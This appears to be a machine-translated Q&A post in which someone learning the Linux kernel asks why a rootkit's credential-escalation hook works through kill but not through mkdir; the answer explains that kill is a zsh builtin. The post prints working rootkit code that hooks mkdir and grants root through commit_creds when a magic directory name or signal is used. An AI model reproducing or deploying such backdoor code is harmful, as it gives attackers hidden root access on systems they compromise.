カーネルからsyscallを接続するとき、killとzshのpidはなぜですか?mkdirのpidはmkdirですか?

カーネルからsyscallを接続するとき、killとzshのpidはなぜですか?mkdirのpidはmkdirですか?

私はLinuxカーネルについて学ぶために独自のルートキットを書いています。システムコールに接続し、現在のジョブの資格情報をルートの資格情報(ieeuid = 0)に変更したいと思います。 killの実行時に未使用の信号を使用してこれを実行できることがわかります。 killに接続すると、その信号をキャプチャし、設定した信号と一致することを確認してから、関数を実行して現在のユーザールートに提供されている資格情報を変更できます。

しかし、mkdirなどの他のシステムコールに接続するときは機能しません。これは、mkdir の実行時に現在のプロセスが mkdir 自体であるためです。しかし、killを実行すると、現在のプロセスは私のzshシェルなので、root権限が与えられます。

mkdirをマウントするときにroot権限を取得したかったのですが、上記の理由でこれが機能しなかったため、zshインスタンスの代わりにrootとして実行されるようにmkdirのみを変更できました。

LWNでいくつかのページを読んでいます(https://static.lwn.net/images/pdf/LDD3/ch02.pdf)そして、「openやreadなどのシステムコールを実行している間、現在のプロセスは呼び出しを呼び出したプロセスです。」これは、mkdirの現在のプロセスがzshでなければならないと信じさせます。呼び出しを呼び出したプロセス。

これはmkdirに接続するコードです。

static asmlinkage long (*orig_mkdir)(const struct pt_regs *);

asmlinkage int fh_sys_mkdir(const struct pt_regs *regs)
{
    void set_root(void);

    printk(KERN_INFO "Intercepting mkdir call");
    
    char __user *pathname = (char *)regs->di;
    char dir[255] = {0};

    long err = strncpy_from_user(dir, pathname, 254);

    
    if (err > 0)
        {
        printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
        }
        


    if ( (strcmp(dir, "GetR00t") == 0) )
        {
            //execl(SHELL, "sh", NULL);
            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            return 0;
        }

    printk(KERN_INFO "ORIGINAL CALL");
    return orig_mkdir(regs);
    
}
    

ルートアクセス権を取得するために資格情報を変更する方法は次のとおりです。

void set_root(void)
      {
           printk(KERN_INFO "set_root called");
           printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);

           struct cred *root;
           root = prepare_creds();
           
           if (root == NULL)
           {
               printk(KERN_INFO "root is NULL");
               return;
           }

            printk(KERN_INFO "Setting privileges... ");
           /* Run through and set all the various *id's of the current user and set them all to 0 (root) */
            root->uid.val = root->gid.val = 0;
            root->euid.val = root->egid.val = 0;
            root->suid.val = root->sgid.val = 0;
            root->fsuid.val = root->fsgid.val = 0;


           /* Set the credentials to root */
           printk(KERN_INFO "Commiting creds");
           commit_creds(root);

      }

以下は、killを実行したときとmkdirを実行したときのpidを示すログです。

$ sudo tail /var/log/syslog 
[...SNIP...]
Jan 22 10:44:43 kali kernel: [ 6170.003662] The process is "mkdir" (pid 3338) //PID of current process when mkdir is ran
Jan 22 10:46:14 kali kernel: [ 6260.534752] The process is "zsh" (pid 1396) // PID of current process when kill is ran

仕組みのデモは次のとおりです。

┌──(kali㉿kali)-[~/Documents]
└─$ mkdir GetR00t            
                                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/Documents]
└─$
----------------------------------------
┌──(kali㉿kali)-[~/Documents]
└─$ kill -64 1
                                                                                                                                                                                                                                                              
┌──(root

答え1

コマンドkillはに組み込まれているため、zshこれが関連するプロセスです。mkdir別のコマンドです。

関連情報